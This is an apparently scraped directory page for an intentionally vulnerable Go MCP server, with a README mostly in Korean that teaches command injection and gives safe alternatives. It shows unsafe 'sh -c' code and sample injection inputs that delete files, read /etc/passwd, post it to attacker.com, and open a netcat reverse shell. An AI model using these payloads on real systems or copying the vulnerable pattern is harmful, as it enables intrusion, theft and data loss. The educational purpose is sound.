numbbv2/vuln-mcp-server
If you are the rightful owner of vuln-mcp-server and would like to certify it and/or have it hosted online, please leave a comment on the right or send an email to henry@mcphub.com.
This document provides a structured overview of a Model Context Protocol (MCP) server, highlighting its features, tools, resources, usage, and frequently asked questions.
Vulnerable MCP Server - Command Injection 예제 (Go)
⚠️ CRITICAL SECURITY WARNING ⚠️
🚨 THIS SOFTWARE IS INTENTIONALLY VULNERABLE AND FOR EDUCATIONAL PURPOSES ONLY 🚨
- ❌ DO NOT USE IN PRODUCTION ENVIRONMENTS
- ❌ DO NOT USE ON SYSTEMS WITH REAL DATA
- ❌ DO NOT USE ON SYSTEMS ACCESSIBLE TO UNTRUSTED USERS
- ✅ USE ONLY IN ISOLATED, CONTROLLED ENVIRONMENTS
- ✅ USE ONLY FOR EDUCATIONAL AND TESTING PURPOSES
This software contains intentional Command Injection vulnerabilities for security education.
개요
이 프로젝트는 Command Injection 취약점을 보여주는 교육용 MCP (Model Context Protocol) 서버입니다. 보안 취약점의 위험성을 이해하고 안전한 코딩 방법을 학습하기 위한 목적으로 제작되었습니다.
포함된 취약점
1. search_files 함수
// 위험한 코드: 사용자 입력을 직접 shell 명령어에 삽입
command := fmt.Sprintf("find ./sandbox -name '%s' 2>/dev/null", filename)
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
취약점: 사용자 입력이 직접 shell 명령어에 삽입됩니다.
공격 예시:
filename = "test.txt; rm -rf /"
filename = "test.txt && cat /etc/passwd"
filename = "test.txt | nc attacker.com 4444"
2. list_directory 함수
// 위험한 코드: 사용자 입력을 직접 shell 명령어에 삽입
command := fmt.Sprintf("ls -la '%s' 2>/dev/null", path)
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
취약점: 경로 입력이 직접 shell 명령어에 삽입됩니다.
공격 예시:
path = "/tmp; cat /etc/passwd"
path = "/tmp && whoami"
path = "/tmp | curl -X POST http://attacker.com/data -d @/etc/passwd"
3. execute_command 함수
// 매우 위험한 코드: 사용자 입력을 그대로 shell에서 실행
cmd := exec.CommandContext(ctx, "sh", "-c", command)
output, err := cmd.CombinedOutput()
취약점: 사용자 입력을 그대로 shell에서 실행합니다. 가장 위험한 취약점입니다.
공격 예시:
command = "rm -rf /"
command = "curl -X POST http://attacker.com -d @/etc/passwd"
command = "nc -e /bin/bash attacker.com 4444"
실행 방법
-
Go 1.19 이상이 설치되어 있는지 확인하세요.
-
의존성 설치:
go mod tidy
- 서버 실행:
go run vulnerable_mcp_server.go
또는 바이너리로 빌드:
go build -o vulnerable_mcp_server vulnerable_mcp_server.go
./vulnerable_mcp_server
- JSON-RPC 요청으로 도구 호출:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "search_files",
"arguments": {
"filename": "test.txt"
}
}
}
안전한 대안
1. exec.Command에서 직접 인수 전달
// 안전한 방법
cmd := exec.CommandContext(ctx, "find", "./sandbox", "-name", filename)
output, err := cmd.CombinedOutput()
2. 입력 검증 및 이스케이프
import (
"regexp"
"fmt"
)
func validateFilename(filename string) error {
// 파일명 검증
matched, err := regexp.MatchString("^[a-zA-Z0-9._-]+$", filename)
if err != nil || !matched {
return fmt.Errorf("invalid filename")
}
return nil
}
// 사용 예시
func safeSearchFiles(filename string) (string, error) {
if err := validateFilename(filename); err != nil {
return "", err
}
// 안전한 명령어 실행
cmd := exec.Command("find", "./sandbox", "-name", filename)
output, err := cmd.CombinedOutput()
return string(output), err
}
3. 허용된 명령어만 실행
var allowedCommands = map[string]bool{
"ls": true,
"find": true,
"grep": true,
}
func executeSafeCommand(commandName string, args ...string) (string, error) {
if !allowedCommands[commandName] {
return "", fmt.Errorf("command not allowed: %s", commandName)
}
cmd := exec.Command(commandName, args...)
output, err := cmd.CombinedOutput()
return string(output), err
}
보안 모범 사례
- 입력 검증: 모든 사용자 입력을 검증하고 정제합니다.
- 최소 권한 원칙: 필요한 최소한의 권한만 부여합니다.
- 화이트리스트: 허용된 명령어나 패턴만 사용합니다.
- 이스케이프: 특수 문자를 적절히 이스케이프합니다.
- 로그 기록: 모든 명령어 실행을 로그에 기록합니다.
법적 고지
이 코드는 교육 목적으로만 제공됩니다. 악의적인 목적으로 사용하는 것은 불법이며, 저자는 그에 대한 책임을 지지 않습니다. 실제 시스템에서 테스트할 때는 격리된 환경에서만 수행하세요.